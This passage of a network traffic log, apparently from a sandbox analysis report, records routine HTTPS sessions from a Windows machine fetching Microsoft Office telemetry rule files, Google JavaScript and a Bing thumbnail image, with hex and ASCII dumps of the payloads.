2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 Data Ascii: 8000(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003d
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 Data Ascii: ctor)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012724Z-174f7845968kdththC1EWRzvxn0000000a600000000027ze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 79ba0bf2-501e-0029-2b86-40d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012724Z-174f7845968nxc96hC1EWRspw80000000xbg00000000na1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012724Z-174f7845968kvnqxhC1EWRmf3g0000000gk00000000085th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012724Z-174f7845968swgbqhC1EWRmnb40000000xtg00000000mz3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012725Z-174f7845968nxc96hC1EWRspw80000000xg0000000007zku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49767	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	346	OUT	GET /th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:26 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 458228 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 424FCBE95D6740E1AAA6CDA5EDD5D409 Ref B: EWR311000104047 Ref C: 2024-11-28T01:27:26Z Date: Thu, 28 Nov 2024 01:27:25 GMT Connection: close
2024-11-28 01:27:26 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 35 35 3a 32 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:55:298C
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 24 01 d8 67 a8 18 a8 71 35 44 5c 32 e0 be 5b a6 00 c6 3e a0 f6 14 36 03 80 7a 0f 4f cb a7 a6 6a 42 14 2e 09 c0 20 8e 3a fd 69 ac 7e 61 84 25 8f 3d 3a fb f3 50 d1 6a 56 1b 20 c7 ca 7e 87 00 77 e8 29 be 48 e4 1c b0 39 27 9c 7b 7f 93 52 c7 f7 81 00 8c f2 40 e4 01 db 3e c6 93 61 eb 9c 1e c4 f7 fa 56 4e 2c 2e 47 b4 06 19 1d 08 c6 7f cf ad 23 0d d8 cf 39 3c 0f 71 53 b0 cb 96 18 38 18 3b ff 00 98 c7 b7 a5 18 09 c6 54 00 71 8c 74 1f d3 34 72 9a 73 68 55 08 19 97 23 6e 3a 73 91 c1 c7 3d ba d4 98 f9 72 31 86 6c 7c bd f3 fa 0a 93 03 78 ef f4 e9 91 4a 57 83 b4 02 40 ef 9e a4 f7 fc 3f 5a 56 05 22 0d 80 ee 2a 30 7b e0 fe 1d 79 fc a8 4d e6 4c 31 38 07 8c f6 e3 8e bc d4 ad f7 f0 06 d0 17 23 81 f9 03 de 94 6e 2a 08 38 1b 49 f4 e7 91 4e c5 a9 11 bc 4a 17 a8 2a 78 23 00 64 Data Ascii: $gq5D\2[>6zOjB. :i~a%=:PjV ~w)H9'{R@>aVN,.G#9<qS8;Tqt4rshU#n:s=r1l\|xJW@?ZV"0{yML18#n8INJ*x#d
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 83 9c 63 1f 5a b0 d1 b3 30 3d 33 8f a1 ff 00 0a 3c bc b8 07 e6 39 f5 cf f9 fa 53 22 c6 75 c2 04 c1 24 13 df d8 9f 7f 6f ca 9c ae 42 83 83 d7 9e ff 00 43 f4 ab 4d 10 2e 43 00 32 42 9f 43 9a 63 44 77 7c c8 01 ea 71 c7 f9 fa 55 5c 0a ce 64 31 67 77 2b 8c 64 11 9a 32 a2 40 ad b4 91 d7 1f 8f f4 a9 67 8f 8e a0 9e b9 39 fc b8 a6 32 32 e0 10 06 72 71 f8 70 73 f5 e2 81 82 15 0a 14 fd d2 06 32 7a 0e ff 00 9d 36 34 c6 14 be 7e 5e d9 ef db ff 00 af 4e f2 b0 a8 98 c6 32 4f 41 40 da 31 8e 55 71 e9 c1 fa fb 50 04 8a 54 60 67 6e 41 1f 77 bf 5c 50 bb 9b 61 01 88 dd 93 9e e7 fc fa f1 4c c8 db 93 9c 12 0e 70 08 eb de 9d b5 8b 8f 94 92 0e 30 b9 23 03 f2 a0 2c 48 49 31 90 c3 27 3d 7d fa 7f 9c 52 ab e3 e4 f9 97 9f ae 7f cf ad 47 9c a8 40 46 73 80 3e 87 bd 0e 3e 62 08 24 f3 da Data Ascii: cZ0=3<9S"u$oBCM.C2BCcDw\|qU\d1gw+d2@g922rqps2z64~^N2OA@1UqPT`gnAw\PaLp0#,HI1'=}RG@Fs>>b$
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: c1 39 f4 e7 e8 29 f1 85 20 30 3c 77 3e 94 2a 1d c3 6e 33 df 3e 95 2c 29 d3 1c 83 91 f8 f6 cf e1 5c f2 67 44 50 28 c9 f4 e3 69 23 9e 7d aa 71 18 2d 90 36 e0 e3 d0 d2 44 9d 31 c6 71 c7 d0 74 fa 54 d1 80 70 31 90 47 35 cd 51 9d 11 08 c1 38 18 c0 c8 38 cf 35 2a 0d cd d0 00 3d bd e9 36 83 81 91 91 d7 9c 54 ca 30 c1 47 cd 8c 73 d2 b9 e4 6f 11 62 19 c9 d9 93 e8 45 58 85 54 a8 5c e7 bf 03 b5 47 12 e5 79 e4 f4 23 1d 4d 4d 18 3b 86 54 8e b9 35 cf 23 a2 24 89 82 b9 cf 1d fd b1 53 60 74 19 cf e1 d2 a3 50 46 df a7 03 db d6 a6 88 76 ea 39 c9 fa 57 3c 8e 88 92 2a 80 a4 90 72 3a 01 f4 a9 90 0e e0 f1 cd 33 82 d8 27 3e ff 00 4a 93 93 8c 1c 7a fb 1a e7 92 b9 a4 5d 89 57 01 40 23 93 82 71 52 a8 05 c9 1d cf 1f 85 46 98 db cf 03 ae 3e b5 2c 78 1c 11 d0 7d 2b 19 45 9a 73 0f 5e Data Ascii: 9) 0<w>n3>,)\gDP(i#}q-6D1qtTp1G5Q885=6T0GsobEXT\Gy#MM;T5#$S`tPFv9W<*r:3'>Jz]W@#qRF>,x}+Es^
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 81 05 84 80 b6 08 19 e3 27 bd 70 70 78 89 63 50 51 72 14 8e 49 23 19 f4 a1 fc 4b 33 b8 21 0e e2 70 79 23 93 db 1d 29 ac 44 22 ac 5d 48 ca a4 84 f8 c9 a2 cb 7d a2 3b c3 13 33 c5 86 01 13 76 70 7a 1c 57 8f e8 7a 35 c4 b7 4e be 59 46 40 59 83 29 1c 0e e3 35 ee cd aa 07 b5 c9 dc 01 c6 7e 6e a7 a6 7d 2b 3a 19 a3 13 6f 19 23 3c 07 00 8a e7 c4 56 55 12 e5 d0 cf 0f 85 50 94 a4 f7 67 0d e1 bd 45 ec 98 84 1c 1c f0 47 00 7e 1e ff 00 ad 52 f1 f5 d4 97 63 f7 88 51 80 ca 8e c7 23 af e9 5e 9d 24 d6 4d 90 e9 1b af 4d af 10 3d f9 e9 d6 ab 6a 96 5a 05 fa 79 77 5a 7d ab 01 85 2e a4 a9 e4 7e 75 c5 0a 4d 4e e1 3c 2c 27 25 26 f5 3c c6 d7 5f 86 e7 c2 b1 e9 17 71 87 6b 79 cc b0 c8 3a a8 60 01 5c fa 70 3b d6 9f c1 eb cb 8b 2f 16 79 96 f2 11 24 a8 d1 ae 30 72 5b 80 07 d0 d7 51 27 Data Ascii: 'ppxcPQrI#K3!py#)D"]H};3vpzWz5NYF@Y)5~n}+:o#<VUPgEG~RcQ#^$MM=jZywZ}.~uMN<,'%&<_qky:`\p;/y$0r[Q'
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 9c f3 82 38 e3 a5 63 cb 33 b3 01 e5 e7 bf 4e 72 2b ea 6f 14 fc 38 d3 75 7f 0c b6 8f 21 c7 94 4b 5a ce 4e 59 18 f2 41 ee 41 c9 fc 6b e7 9f 16 78 63 50 f0 c6 b0 f6 1a c5 bb c2 c0 9f 2e 61 92 8e bd 88 6f 4c 76 af 98 cc 70 55 61 27 5b 74 f7 f2 67 b9 96 d7 a7 18 ac 3e dc a9 25 e6 8e 75 ae e4 31 ee 68 ff 00 dd 38 e3 eb f9 54 b6 d3 bd d5 b8 89 46 24 53 c6 7b e0 7a 54 b7 16 b8 00 9c 6d 3d 38 c6 7d a9 b2 44 a5 96 78 b0 19 78 00 72 4e 3b 1a f2 ee cf 66 d7 46 64 8f 74 97 81 95 19 08 6c 87 19 18 e3 19 fe 95 69 15 a4 c9 74 39 c6 78 e0 9e e2 af de a3 bf 97 2c 79 21 b8 2a 47 3b 71 52 24 38 da 00 c8 3f 78 e3 af 3d 2b 4f 67 e6 4f 31 02 44 a7 71 c6 48 e3 03 8e 95 af 61 e6 49 63 10 25 b0 99 e0 f3 8e e3 ad 55 48 08 56 df ce 47 61 ef 5a de 18 42 f3 49 11 1f 29 01 87 3d c7 1f Data Ascii: 8c3Nr+o8u!KZNYAAkxcP.aoLvpUa'[tg>%u1h8TF$S{zTm=8}DxxrN;fFdtlit9x,y!*G;qR$8?x=+OgO1DqHaIc%UHVGaZBI)=
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 2a 46 7e 5e 7f 5a 4c 80 bc 74 e3 a7 5a 07 dd e7 dc 60 7f f5 a9 0a e3 95 89 e7 3d 4f 27 1f a5 20 00 af 1b 88 3d bf 9d 20 39 e4 03 91 fa d2 64 8e f8 c9 a0 2e 2a 8c 64 9e fd 3d bf 0a 52 3e 50 73 f2 8a 62 1f 93 9e a7 8f ad 2e 4f d3 b7 b7 3d a9 b1 a6 29 c0 e0 e4 0f f2 29 ac 18 a1 38 07 8c 63 bd 29 03 19 1c 74 06 95 46 7b e0 63 ae 29 14 c6 28 24 7e 1f e7 f0 a1 88 0b f5 fc bd 29 dc 9e 87 23 a5 2b e7 a0 27 d6 81 22 36 c1 6c 8d c1 87 5e 09 a6 b2 90 db 0e ec 67 a7 f5 a9 47 1d 46 07 3d 4f 3f 95 34 85 db 92 71 d8 9e fc d0 32 3e 99 07 92 0f 7a 69 18 62 73 c8 cf eb 52 30 c2 f1 91 eb 9f e5 4d 60 0f 21 88 19 e3 23 02 a8 8b 11 cc 09 e0 f3 c0 cf 39 a3 6f ce 7e 7c 1a 73 00 14 13 91 82 69 0e 76 f3 bb 8c 9f 5a 04 33 6e 1b 76 0f 1e b4 d2 3a 1c 60 91 9f ae 2a 49 00 0b d3 82 33 Data Ascii: F~^ZLtZ`=O' = 9d.d=R>Psb.O=))8c)tF{c)($~)#+'"6l^gGF=O?4q2>zibsR0M`!#9o~\|sivZ3nv:`*I3
2024-11-28 01:27:27 UTC	16067	IN	Data Raw: 0c 64 0e 80 1a cc b7 c8 01 7b 74 c8 ad 0b 33 85 e7 8c e7 34 a3 f1 22 65 f0 b2 85 c8 0d 21 63 f4 fc 6a 31 f2 60 e4 64 9c 91 eb 53 5d 06 32 1d c7 bd 44 47 cb 8e a4 67 35 f4 74 dd e0 8f 9b 96 92 63 46 37 75 f7 a3 25 ba b6 1b be 38 14 2e 4f 1e 94 ec 10 c3 ef 76 e3 e9 e9 5a 0a c3 40 da d8 ea dd 7f fd 74 b8 ec 7d c7 4a 00 3d 31 92 7a e2 83 bb 8c 9e 3d 7e 9e d4 98 74 11 8e 30 46 73 4b 8f 9b f1 ef 47 6c 1e a7 ad 1d 78 f5 ef f4 a4 34 34 80 13 07 a7 af 53 49 b7 3d 30 49 cd 38 f3 c8 39 19 fd 68 ef 90 0f 1d 71 54 03 78 0d c1 fa ff 00 93 48 7d 4f 3f d3 34 e6 c9 50 47 41 fc a9 39 c6 7a fb ff 00 9f 4a 04 c5 07 e5 c1 ef c6 69 00 5d b9 03 03 8e 4f 5a 18 67 3c fe 9c e6 95 3a f1 c1 3d b1 40 c4 fe 1e d8 1d fd 3d e8 6f 52 de c4 8f d2 95 81 2b fe 3c 52 30 f9 40 dd 8c 50 0c 00 Data Ascii: d{t34"e!cj1`dS]2DGg5tcF7u%8.OvZ@t}J=1z=~t0FsKGlx44SI=0I89hqTxH}O?4PGA9zJi]OZg<:=@=oR+<R0@P
